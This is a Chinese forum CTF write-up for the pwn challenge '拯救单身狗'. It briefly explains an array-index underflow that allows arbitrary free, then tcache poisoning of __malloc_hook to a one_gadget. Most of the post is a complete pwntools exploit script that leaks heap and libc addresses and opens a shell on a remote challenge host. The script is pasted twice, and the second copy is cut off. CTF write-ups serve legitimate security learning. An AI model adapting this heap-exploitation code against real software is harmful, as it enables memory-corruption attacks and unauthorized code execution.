-
-
[原创]pizzatql-拯救单身狗-writeup
-
发表于: 2019-3-20 23:31 3245
-
拯救单身狗这题的漏洞点在edit singledog函数里面,这里面有个数组下届溢出,可以溢出到luckydog的数组,one,而luckydog的数组是一个结构体,里面有一个指针,这样就可以通过修改指针,来释放任意内存。
又在开始泄露程序堆地址的时候,推测有tcache,所以就可以直接用tcache来打(很奇怪,本地的堆结构和远程的不一样,差一个0x410,难道远程的io buf没有释放掉?嘛,反正加上一个fix就可以了)
最后利用代码:
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def singledog(name):
p.recvuntil('>>\n')
p.sendline('1')
p.recvuntil('Name:\n')
p.send(name)
def luckydog(name, pname):
p.recvuntil('>>\n')
p.sendline('2')
p.recvuntil('Name\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)
def edit_singledog(idx, name):
p.recvuntil('>>\n')
p.sendline('3')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('luck.\n')
p.send(name)
def edit_luckydog(idx, name, pname):
p.recvuntil('>>\n')
p.sendline('4')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('name?\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)
def save_singledog():
p.recvuntil('>>\n')
p.sendline('5')
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./apwn')
gdb.attach(p)
else:
p = remote(ip, port)
malloc_offest = 0x3ebc30
one_gadget = 0x4f2c5
one_gadget = 0x4f322
one_gadget = 0xe569f
one_gadget = 0xe5858
one_gadget = 0xe585f
one_gadget = 0xe5863
one_gadget = 0x10a38c
# one_gadget = 0x10a398
singledog('swing'.ljust(8, '\x00') + p64(0x531))
for i in range(28):
singledog('swing')
luckydog('dinglao', 'nvpengyou')
edit_singledog(80, 'a')
p.recvuntil("name: ")
heap_addr = u64(p.recvn(6) + '\x00' * 2) & ~(0xfff)
log.info('heap addr is : ' + hex(heap_addr))
fix = 0
if debug == 0:
fix = - 0x410
edit_singledog(80, p64(heap_addr + 0x680 + fix))
save_singledog()
edit_singledog(0, 'a' * 0x10)
p.recvuntil('a' * 0x10)
libc_addr = u64(p.recvn(6) + '\x00' * 2) - 0x3ebca0
log.info('libc addr is : ' + hex(libc_addr))
edit_singledog(80, p64(heap_addr + 0xc10 + fix))
save_singledog()
edit_singledog(80, p64(heap_addr + 0xc10 + fix))
save_singledog()
singledog(p64(libc_addr + malloc_offest))
singledog('swing')
singledog(p64(libc_addr + one_gadget))
p.recvuntil('>>\n')
p.sendline('1')
p.interactive()
if __name__ == '__main__':
GameStart('211.159.175.39', 8686, 0)
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def singledog(name):
p.recvuntil('>>\n')
p.sendline('1')
p.recvuntil('Name:\n')
p.send(name)
def luckydog(name, pname):
p.recvuntil('>>\n')
p.sendline('2')
p.recvuntil('Name\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)
def edit_singledog(idx, name):
p.recvuntil('>>\n')
p.sendline('3')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('luck.\n')
p.send(name)
def edit_luckydog(idx, name, pname):
p.recvuntil('>>\n')
p.sendline('4')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('name?\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)
def save_singledog():
p.recvuntil('>>\n')
p.sendline('5')
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./apwn')
gdb.attach(p)
else:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- [原创]pizzatql-拯救单身狗-writeup 3246
- [原创]第一题 Helllo-CTF 2096
- [求助]萌新想要学习硬件逆向,该要从何学起T_T 4631
看原图
赞赏
雪币:
留言: